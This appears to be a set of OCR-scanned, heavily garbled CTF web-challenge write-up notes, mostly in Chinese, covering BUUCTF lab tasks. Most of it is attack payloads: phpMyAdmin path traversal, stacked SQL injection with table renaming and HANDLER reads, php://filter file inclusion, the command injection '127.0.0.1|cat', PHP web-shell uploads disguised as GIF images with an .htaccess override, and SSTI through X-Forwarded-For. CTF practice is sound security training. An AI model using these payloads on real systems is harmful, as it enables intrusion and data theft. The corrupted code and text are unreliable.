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BEMIIEAS, 75 Fsource.php

‘head>
<meta charzet="UTF-8">
<meta name="viewport” content="width=dewice-width, initial-scale=1.0">
{meta http—equiv="X-Ui-Compatible” content="ie=edgze”>
<titlerDocument</titleX

Fhead>

bodyr
<l——zource. php—>»

<hrrdimg sroc="https:/fi.1oli.net/2018/11/01/56db0d93d:794, jpe” /< /body>
Jhtmls
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<?php
highlight file(_ FILE_);
class emmm
{
public static function checkFile(&$page)
{
$whitelist [ 5
if (! isset($page) is_string($page)) {
echo ;

return false;

if (in_array($page, $whitelist)) {

return true;

$ _page = mb_substr(
$page,
0,
mb_strpos($page
)
if (in_array($_page, $whitelist)) {

return true;

$_page urldecode($page);

$ _page = mb_substr(
$_page,
9,
mb_strpos($_page

)

if (in_array($_page, $whitelist)) {
return true;

)i

echo

return false;

if (! empty($_REQUEST[ 1
is_string($_REQUEST[ D)
emmm: :checkFile($_REQUEST[

) {

include $_REQUEST[ 15
exit;

} else {

echo

BEEAE —AhintphpEE B3
flag not here, and flag in fffflllaaaagggg

if (! empty($_REQUEST][ 1)
is_string($_REQUEST][ 1)
emmm: :checkFile($ REQUEST[
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LOAD SPLIT EXECUTE TEST ~ sqQLl -~ S8TI ~ ENCODING ~ HASHING

URL
http://08789072-9527-458a-a60e-555cb86375f2.node4.buuoj.cn/source.php?file=source.php?../../../ ../ ..[ffiflllaaaagggg

?file=source.php%253F.../.../...]...I.. [fffllaaaagggg
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EasySQL

123" or 1=1#
" & "

Havefun

<1
foat=% GET[ cat’];
echo feat;
if (foat=="dog ) {
echo " Syoicat_cat_cat_cat]’

AT, XRE—HESIEN, 2333

B FRXEEIHIRSE, Rii—aiE: FRNZSR—AT

Z# 1 || 22 |

-1":show databases:#



array(l) |
[0]=>
string(11) "ctftraining”

1

arrayil) {
[01=>
ztring (18] "information_schema”

}

array(l) |

[0]=>

string (5) “mysql”
I

arrayil) {
[01=>
ztring (18] "performance_schema”

}

array(l) |
[0]=>
ztring (8) “supersgli”

}

array(l) |

[0]=>

string (4) “test”
I

-1’:show tables#

arrayil) {

[01=>

string (16) "1919810931114514"
1

array(l) |
[0]=>
string (5) “words”

1

-1';desc "1919810931114514°#

arrav(f) |
[0]=>
string(4) “flag”
[1]1=>
string (12) "varchar {100)"
[2]=>
string (2) “NO"
[3]1=>
string(0) *"
[4]1=>
NILL
[5]1=>
string(0) *"



-1’;desc words #

array(f) |
[01=>
ztring (2} “id"
[11=>
ztring (7} “int (10)°
[2]=>
ztring (2} “NO”
[31=>
string (0]
[41=>
NULL
[51=>
string (0]
1

o

o

arrav(f) |
[a]=>
string (4) “data”
[1]1=>
ztring (11) "warchar (203"
[2]=>
ztring (2} “NO”
[al=>
string (01 "
[4]1=>
NULL
[s1=>
string (01 "

m AT an, FATRFEWordsix A& BEHE#

¥ — 1 2 J5 i =& select id data from words where id = ‘$_GET]id]’;

RIEMREZSEANNERTRT

HAERBAF

#£1919810931114514 )4 FSUwords, wordsBEfE4#ids, R/EHAagBmidi il AT XA TER T

1’;rename table "words’ to ‘'words1 ;rename table "1919810931114514" to “words";alter table "'words’ change “flag™ "id’
varchar(100) character utf8_general_ci NOT NULL#

e X
-1’;sEt @a=concat(“sel’,“ect * from "1919810931114514"");Prepare x from @a;execute x#
handler

e handler tbl_name open as yunensec; #¥& & Z#E R AT N FHIR [ G 46 E iy 4
o handler tbl_name read first; #i2BUE & &/ AR I8 1T 5038

o handler tbl_name read next; #i2BUR &R/ AR T —1T 535

o handler tbl_name read next; #i2BUR &R/ AN T —1T 535

o handler yunensec close; #% A%

-1”;handler "1919810931114514" open ;handler "1919810931114514" read first#

[ACTF2020 #i4: % ]include



URL
http://e1d5ebc1-0f4b-465d-8acd-d160d3aafc99.noded.buuoj.cn/?ile=php://filter/converi.baseb4-encode/resource=flag.php
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[SUCTF 2019]EasySQL

AT R TR 2 8 BB A AR RS 2 B E R AW AR E W IE A AT R AR ||, it~ select B REIE| N E K —N5
£

from &4, #H—HFHATHENED Aselect postidt 2 K E|[flag from

Flag(B A HENIR S, EIHEBEANTTH), TEEZNZE, LEK|ERIMERZorfER. M1 MAKNER1

WEKsqliEa Nsqgl="select".sql="“select

“.sql="select”.post['query’].”||flag from Flag”;

R $post[‘query’ | N1, sqliE AR T select *,1|[flag from Flag, thikZselect

*1 fromFlag, HBEiREZEEHE TFlagRTHHRTEAA

A2 B NI 24 1;set sql_mode=pipes_as_concat;select 1 HHiset

sql_mode=pipes_as_concat; #1E F & |[I/EF BHor B APt 7 /7 e, X RIRIEA MMM, FRATHAT 1115 F) 5351 Fselect 1HIset

sql_mode=pipes_as_concatfliselect 1||flag from Flag, ikHiflag

[ % KBk ik 2019]Secret File

TLAmlly.dridl  scuaurn . fed, Loy

hr¢f=”.{ﬂrchive room. php” =
HAZ JG mifisecret, &RBINE

<IDOCTYPE himi=

<html=

<]
secr3t.php

-

<fhtml=

SRJE RIIXA

html
title>secret</title
meta charset
php
highlight file(__ FILE_ );
error_reporting(9);
$file=$ GET[ 1;
if(strstr($file, )| |stristr($file, )| |stristr($file, )| |stristr($file,
echo ;
exit();
}
include($file);




http://e2069eee-2dc4-4172-86e0-3b9794910afb.node4.buuoj.cn/secr3t.php?file=php://filter/convert. base64-encode/resource=flag.php

127.0.0.1|cat .././fag

FING

flag{ee@efada-3do9b-48dd-3a95-9b237423d9a7}

Ly

l_-lelle 2+

ur passgd |s@( %:
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Elements
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Memory A ti Security

SPLIT EXECUTE TEST ~ sqQLl - XSS SSTI ~ ENCODING ~ HASHING ~

d953bfba-888c-45de-bd32-b4789870306c.noded.buuoj.cn/check.php?username=-1' union select 1,2,{|:Iatabase())%ZS&passmd:.‘!ﬁ&csmm ellgq,_
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URL
http://825eb931-740a-4a1a-9df8-212590191182.node4.buuoj.cn/

enctype

Enable POST application/x-www-form-urlencoded

Body

Syc:symemﬁac /flag ); hitps://blog.csdn.net/gg_4

suoha

[1% % KPk ik 2019]Http

ault;” onclick="return false” href="Secret.php”>@E< ax! <p>

NeEE

<fbr=<fbrz</br=<fhrz</bre</irz<ibre</bre</bre<fbre<fbrz</br>

<h1 style="font-family:arial;color#3E44AD; font-size:50px; text-align: center; fo
It doesn’t come from ‘https://'www.Sycsecret.com</h1=>

<div style="position: absolute;hottom: O;width: 99%;"=<p align="center" styl

Georgia,serif,colorwhite;"> Syclover @ cldy</p=</div>
PELTY IR

% —Preferer

% — B user-agent

% = X-Forwarded-For
SER

[RoarCTF 2019]Easy Calc
php = 4F B g A B R 1

? num=scandir(/);

UR
htip://node4.buuoj.cn:25595/calc.php? num=2;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[#* ™M #F 2018]easy_tornado

handler@RequestHandlerf) 5l % (X K/NERERFIW, 2)EL/NEhandleri® 2 KEHandler? 3£ 7) T kX2
RequestHandler.settings&self.application.settings %14 . FrLlhandler.settingsi#l %6 FRequestHandler.application.settings. X
Aself2oneselfff) =&, WRNxF 5 B2 BN % i .application.settings .

T A& Je 5t /& cookie_secretfERequestHandler.application.settings B

Fihandler.settingsi/j M RequestHandler.application.settings

error’msg={{handler.settings



3 Flcookie_secret J5 H Cmd5m#& — T AT T

md = hashlib
md .updat h18-4bb Fofect f F al'.encode( 'utf
print{md.h

g.csdn.net/iqg_4

[% % A $k ik 2019]Upload

—————— WebkitFormBoundary QxitBRLEmO4.1X390
Caontent-Disposition: form-data; name="file"; filename="shell.phtm!"
Caontent-Type: image/gif

GIFE9a? <script Ianguage="php">eva|($_REC!UEST[sheIIhc:fsu:ript:»

suoha

[ K Bkik 2019]BabySQL

WP EHEH T UM E ST, Frfgwai—ff. o o
ak7T

Backupfile

BT BT

include_once

if(isset($_GET[ 1) {
$key = $_GET[ 1;
if(!is_numeric($key)) {

exit( );

1
J

$key = intval($key);
$str

if($key $str) {
echo $flag;




key=123
At B
ak7T

AT, FEHSRwpE R, AMEETET, HEBEIE.

[GYCTF2020]Blacklist

AT LI ERHERIEN, BERSE T FEEMBHS|2RY, BR4FHhandlery
1';handler open;handler read first

— R IERER

[GXYCTF2019]BabyUpload
P T ph, XCHRBGE, XHLRE

il EERA D
1jpg, WHEN

GIF89a

script language assert($_REQUEST script

IR A R 45 2% 2 el A 2
Bt LLIR 18 4% htaccess
WERN

FilesMatch

SetHandler application/x-httpd-php

FilesMatch

B AR jpg v LA Mphp ST KR fE T
RIGTATUEBS T, RAERAENEREWS], Frilst R A T shellcode, FAEIREEH T —LeE$, FrAIREE Mshow source
2 highlight_file#ZBAT LA,

[BUUCTF 2018]Online Tool

HIRE A

https://blog.csdn.net/weixin_44037296/article/details/110900266
[GXYCTF2019)2% 1k & &
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https://blog.csdn.net/weixin_44037296/article/details/110900266

| IDDA
if (!preg_match( , $ GET[ 1)) {
if( preg replace( , NULL, $ GET[ 1)) {
if (!preg_match( , $ GET[ 1)) {

@eval($ GET[ 1D;

1
J

else{
die(

23N )

B RREIE T E R Dy PR A
BoRRARMEALSHES, (PR), XEPHPHIEHEKRR
BRI T KR, MR T LR

localeconv()RE—E&AMEF KT HERGE BRI, F—_2DEA.
pos () BB HANE
scandir()BEEHZBETHHE R

array_reverse()#4Hi¥i5E
next() HECKAIIEHERBAFH TR, HH.

show_source() BRI

BRNBXERE, HERE AR, X BRI X 55 5.
A7 LA A pos(localecony())ik Bl —AN /N i
T Skept Al LU scandir#E 47 1335 3

flagTEHpENE?
Array ([0] => . [1] == .. [2] => .git [3] => flag.php [4] == index.php )



I ﬂ Elements  Console  Sources MNetwork Performance Memory  Application Security Lighthouse  Adblock Plus HackBar

LOAD SPLIT EXECUTE TEST ~ sqQLl -~ XSS5 -~ ENCODING ~ HASHING

URL
http://5a93fd39-8f69-410b-b10a-d91371ec1ebb.node4. buuoj.cn/index.php?exp=print_r(scandinffms(isical esomvid)g_45655564

BANBRNRE AN, FH HAag.phpfE VAN, F i 2 B E =4 .
Fi ABATTAT Lharray_reverse fllnextBt Elflag.php

flagreHERENE?
flag.php

[ ﬂ Elements  Console  Sources MNetwork Performance Memory  Application Security Lighthouse  Adblock Plus HackBar

LOAD SPLIT EXECUTE TEST -~ sqQLl -~ XSS -~ LFI ~ SSTI ~ ENCODING ~ HASHING ~

URL
http://5a93fd39-8f69-410b-b10a-d91371ec1ebb.node4.buuoj.cn/index.php?exp=print_r(next(array_reverse(scandirfrpeliatalpesan(E)lg_45655564

SR J5 B 3 Fshow_source Bt # highlight_fileB # file Bt # readfile#F AT LA.
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2 | F session

B % E A Asession_idMIPHPSESSIDIIX &R, FTLAELT —TFiX4.

FA15n1E E{f FlsessionE i@ it session_strat(), {EEphpBRiARAEFIN, ATLLIRATAT LA E ) B session idi1E .
BT ARRATTRT A F 3h ¥ B PHPSESSID Aflag.php, it BAsession_id ()& Aflag.php

GET Jindex.php?exp=print_r{session_id(session_start())); HTTR/1.1 A HTTR/M.1 200 OK

Host: 5393fd39-8f69-410b-b10a-d9137 1eclebb. noded buuoj.cn R Server: openrasty
Upgrade-Insecure-Requests: 1 Date: Thu, 12 Aug 2021 08:07:45 GMT
User-Agent: Mozilla/5.0 (Windows MT 10.0; WinE4, x54) AppleWebKit/537.36 (KHTWML, like Gecka) Content-Type: text/html; charset=UTF-8
Chrome/92.0.4515.131 Safarifa37.36 Connection: close

Accept: ¥-Powered-By: PHP/5.6.40

text/html applicationfxhtml+xml application/xml;q=0.9 imagefavif imagedwebp image/apng "™ q=0.8 ap Content-Length: 31
plication/signed-exchange;v=h3;9=0.9

Accept-Encoding: gzip, deflate flag{EW PR ? <br=flag.php
Accept-Language: zh-CN zh;q=0.9

Cookie: UM_distinctid=179b0df0061807-007b2709c367 a1-2363163-1fad00-179b0d006287;

PHPSESSID=flag.php

Connection: close

SR RN b — RSB T T .

[GWCTF 2019]18&F — 1M #u¥E &
cve-2018-12613-PhpMyadmin/s & &

& J7payload=/index.php?target=db_sql.php%253fl.../.../...I...I...I...]...I...flag
[BJDCTF2020]The mystery of ip

LA H %8 R XFFEEAFISSTI

flask/jinja2 AR 1 A\

PHP/BRR 5| ZETwigiEA

BT LAPHP 2 SSTI i1,
It A¥i& payload=X-Forwarded-For: {{system(“ls”)}}

[BJDCTF2020]ZJCTF, Aidimik

<?php

error_reporting(9);
$text = $ GET[ 1;
$file = $ GET[ 1;
if(isset($text)&&(file get contents($text,
echo file get contents($text,
if(preg_match( ,$file) ) {
die( )

include($file);

1
J

else{
highlight file(__ FILE_ );



https://www.jianshu.com/p/fb9c2ae16d09

textm] LA Hphp:/inputkgéid, AT LA datathiloRSed, A )5 Afilterth SR E next.phpH 1IN &

function complex($re, $str) {
return preg_replace(

$re

foreach($_GET as $re $str) {

echo complex($re, $str)

function getFlag(){
@eval ($_GET[ 1

1
J
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